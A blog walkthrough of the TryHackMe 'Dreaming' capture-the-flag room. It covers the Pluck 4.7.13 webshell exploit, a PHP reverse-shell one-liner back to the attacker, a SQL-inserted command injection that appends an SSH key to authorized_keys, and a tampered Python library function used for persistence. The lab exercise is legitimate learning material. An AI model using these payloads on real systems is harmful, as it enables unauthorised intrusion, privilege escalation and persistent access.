narancs's blog

TryHackMe – Dreaming CTF walkthrough


Logo of Dreaming CTF room

In this post I am going to show you how to complete the Dreaming CTF room on TryHackMe.

At the beginning we will enumerate the VM to find the initial access to the machine. Then we will look around on the VM to figure out how to get access to the Lucien, Death and Morpheus users.


As usual, I started with an nmap scan to find open ports on the machine:

There are only 2 services that have open ports: SSH and HTTP.

SSH is usually not something that we can exploit this early. We would need at least some potential usernames to brute-force the passwords. So I started enumerating the HTTP server first.


When I entered the IP address into the browser it just opened a default Apache page. I used gobuster to find some files or directories that are served by the server.

					gobuster dir --url -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 16

Gobuster did not find too much, only a /app directory. However, this is more than enough to get started. When I visited the /app page it was just an index page that showed a single sub-directory called pluck-4.7.13. When I opened it I got redirected to /app/pluck-4.7.13/?file=dreaming page.

I tried to find a file include vulnerability but I quickly received a response that showed:

					A hacking attempt has been detected. For security reasons, we're blocking any code execution.

During further enumeration I found a link on the page with the text “admin” and was pointing to /app/pluck-4.7.13/login.php. The page contained a single input field called Password. I started to check some of the most common passwords. To my surprise, my second attempt (after checking “admin”) I was able to login by entering “password” as the password.


First I started to look around in the web application. I was able to edit all the settings, change the theme of the website, add new pages, but nothing seemed to help getting a reverse shell.

I knew that the name of the web application is Pluck and the version number is 4.7.13. With this information it was easy to find an existing vulnerability:

This vulnerability is tracked as CVE-2020-29607, and it allows us to upload a file and execute code on the target machine. I used the script from exploit-db to upload a webshell. It required 4 arguments: the target IP address, the target port, the password of the user and the path to Pluck CMS.

					python3 80 password /app/pluck-4.7.13/

The script returned the following result:

							Authentification was succesfull, uploading webshell
		Uploaded Webshell to:

From the uploaded shell I started a reverse shell, because that was more convenient for me:

					php -r '$sock=fsockopen("",8000);exec("/bin/sh -i <&3 >&3 2>&3");'

Then I stabilized the shell with the following commands:

					python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg

Now that I had a reverse shell on the target, I was able to start looking for the flags.

Lucien Flag

First I checked for files that are owned by Lucien using the find command.

					find / -user lucien 2> /dev/null
I found an interesting file: it was a Python script that was readable and executable by everyone: /opt/
							www-data@dreaming:/home/lucien$ ls -la /opt/
		-rwxr-xr-x 1 lucien lucien 483 Aug  7 23:36 /opt/

In the Python script a password variable was declared. I used the value of that variable to try to switch to lucien user and it worked.

					www-data@dreaming:/home/lucien$ su - lucien
The flag was in /home/lucien/lucien_flag.txt

Death Flag

I checked what sudo privileges lucien has:

						lucien@dreaming:~$ sudo -l
	Matching Defaults entries for lucien on dreaming:
		env_reset, mail_badpass,
	User lucien may run the following commands on dreaming:
		(death) NOPASSWD: /usr/bin/python3 /home/death/
This is interesting: lucien can execute /usr/bin/python3 /home/death/ as death without password. I executed the script to see what it does:
							lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/
		Alice + Flying in the sky
		Bob + Exploring ancient ruins
		Carol + Becoming a successful entrepreneur
		Dave + Becoming a professional musician

First I was not able to find a way to get a shell as death user using this python script execution. While looking around a little more, I discovered another file with the same name ( in /opt and this was readable by lucien. This is probably a copy of the file that we can execute as death user.

The contents of this file:

					import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
		# Connect to the MySQL database
		connection = mysql.connector.connect(
		# Create a cursor object to execute SQL queries
		cursor = connection.cursor()
		# Construct the MySQL query to fetch dreamer and dream columns from dreams table
		query = "SELECT dreamer, dream FROM dreams;"
		# Execute the query
		# Fetch all the dreamer and dream information
		dreams_info = cursor.fetchall()
		if not dreams_info:
			print("No dreams found in the database.")
			# Loop through the results and echo the information using subprocess
			for dream_info in dreams_info:
				dreamer, dream = dream_info
				command = f"echo {dreamer} + {dream}"
				shell = subprocess.check_output(command, text=True, shell=True)
	except mysql.connector.Error as error:
		# Handle any errors that might occur during the database connection or query execution
		print(f"Error: {error}")
		# Close the cursor and connection
# Call the function to echo the dreamer and dream information


The value of the DB_PASS variable is redacted in this copy, but at least we can see what this script is doing:

  • it connects do a database called “library” with user “death”
  • it reads data from the dreams table, specifically 2 columns called ‘dreamer’ and ‘dream’
  • then it loops through the rows in the query result and puts together a command string that uses the values of dreamer and dream variables that are coming from the columns in the database
  • finally it passes the command variable to the subprocess.check_output function that essentially executes the string value of the variable as a command

If we could inject records into the dreams table, we could run any command as death user (remember, that we can execute as death using sudo). For example, if I insert a new row where dreamer is “narancs” and dream is “something && id”, then the f-string in the code:

					f"echo {dreamer} + {dream}"

would turn into this string:

					"echo narancs + something && id"
If this would be passed as an argument to subprocess.check_output, then it would execute an echo command, then the id command that we injected into the database. We can use this approach to execute some command that would help us escalate our privileges and get access to death user.

The first question is: how can we connect to this database to insert a new row?

The answer was in the .bash_history file in lucien’s home directory:

					mysql -u lucien -plucien42DBPASSWORD

The second question is: what command should we insert to the database so we get access to death user?

What came to my mind is the following:
  • since SSH was open on the VM, I created an SSH keypair using the ssh-keygen command on my local machine
  • I copied my public key from /home/kali/.ssh/
  • I will run an echo command to put this public key into the authorized_keys file of death
  • This will allow me to login to the target VM as death using my public key (knowing the password of death is not required)

The command that I need to put into the database so it gets executed by death is the following:

					mkdir -p ~/.ssh/ && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABxqi0ax17Iy6WAyeflyMeLnlI49o8+zo38JSvzd7uW kali@kali" >> ~/.ssh/authorized_keys
There are 2 things to note:
  • the authorized_keys file is stored in the .ssh directory inside the user’s home directory, so I have to make sure the .ssh directory also exists. This can be done with the mkdir -p ~/.ssh/ command
  • this whole echo command will be a part of the f-string mentioned above. So if I want to put this into the dream column inside the database table, first I need to end the previous echo command

In the end, the complete SQL statement that I need to run to insert the malicious table entry is the following:

					INSERT INTO dreams (dreamer, dream) VALUES ('narancs', 'test && mkdir -p ~/.ssh/ && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABxqi0ax17Iy6WAyeflyMeLnlI49o8+zo38JSvzd7uW kali@kali" >> ~/.ssh/authorized_keys');

After I inserted this row into the table I ran the script as death:

					sudo -u death /usr/bin/python3 /home/death/

I was able to verify that the .ssh directory was created in death’s home directory. I SSHd into the VM as death and got the flag from death_flag.txt

					ssh death@
cat death_flag.txt

Morpheus Flag

Now how do we get the last flag from morpheus? bash_history doesn’t seems to contain anything useful this time. sudo -l requires a password so we cant use that either.

I checked files owned by morpheus:

					find / -user morpheus 2> /dev/null
I found another python script: /home/morpheus/ What does this script do?
						from shutil import copy2 as backup
	src_file = "/home/morpheus/kingdom"
	dst_file = "/kingdom_backup/kingdom"
	backup(src_file, dst_file)
	print("The kingdom backup has been done!")

This script uses the copy2 method from shutil module to backup a file from morpheus’s home directory to /kingdom_backup.

Checking the files in morpheus’s home directory I also found something useful. In .viminfo file:

					# History of marks within files (newest to oldest):
> /usr/lib/python3.8/
		*       1691452276      0
		"       297     0
> ~/
		*       1690567222      0
		"       59      10
		^       59      11
		.       59      10
		+       59      10


Can we alter (where the script imports copy2) in a way that we can abuse it to get into morpheus?

Yes. We can edit file. If we insert any code in copy2 function, it will get executed by as morpheus user (assuming that the script is being executed periodically by some scheduled job).

I used the same approach as previously: I added some code to copy2 function that created an authorized_keys file in morpheus’s home directory and inserted my public key into it. This way I will be able to SSH into the VM as morpheus as well.

The full copy2 function after my modifications:

					def copy2(src, dst, *, follow_symlinks=True):
	"""Copy data and metadata. Return the file's destination.
	Metadata is copied with copystat(). Please see the copystat function
	for more information.
	The destination may be a directory.
	If follow_symlinks is false, symlinks won't be followed. This
	resembles GNU's "cp -P src dst".
	if os.path.isdir(dst):
		dst = os.path.join(dst, os.path.basename(src))
	copyfile(src, dst, follow_symlinks=follow_symlinks)
	copystat(src, dst, follow_symlinks=follow_symlinks)
	# I added this code
	os.makedirs("/home/morpheus/.ssh/", exist_ok=True)
	with open('/home/morpheus/.ssh/authorized_keys', 'w') as f:
		f.write('ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABxqi0ax17Iy6WAyeflyMeLnlI49o8+zo38JSvzd7uW kali@kali')
	return dst

I assumed the script is going to be executed soon by a cron job or in some other way. I was checking the user’s home directory, and within a minute the .ssh directory just showed up. Then I was able to SSH and get the flag.

I could have just inserted some code into copy2 that changes the permission on the flag file (or saves the flag somewhere else) so I can read it, but this way I actually got full access to morpheus user as well.

I SSHd into the VM as morpheus and got the flag from morpheus_flag.txt

					ssh morpheus@
cat morpheus_flag.txt

Table of Contents

Notify of
Inline Feedbacks
View all comments

Related posts

Would love your thoughts, please comment.x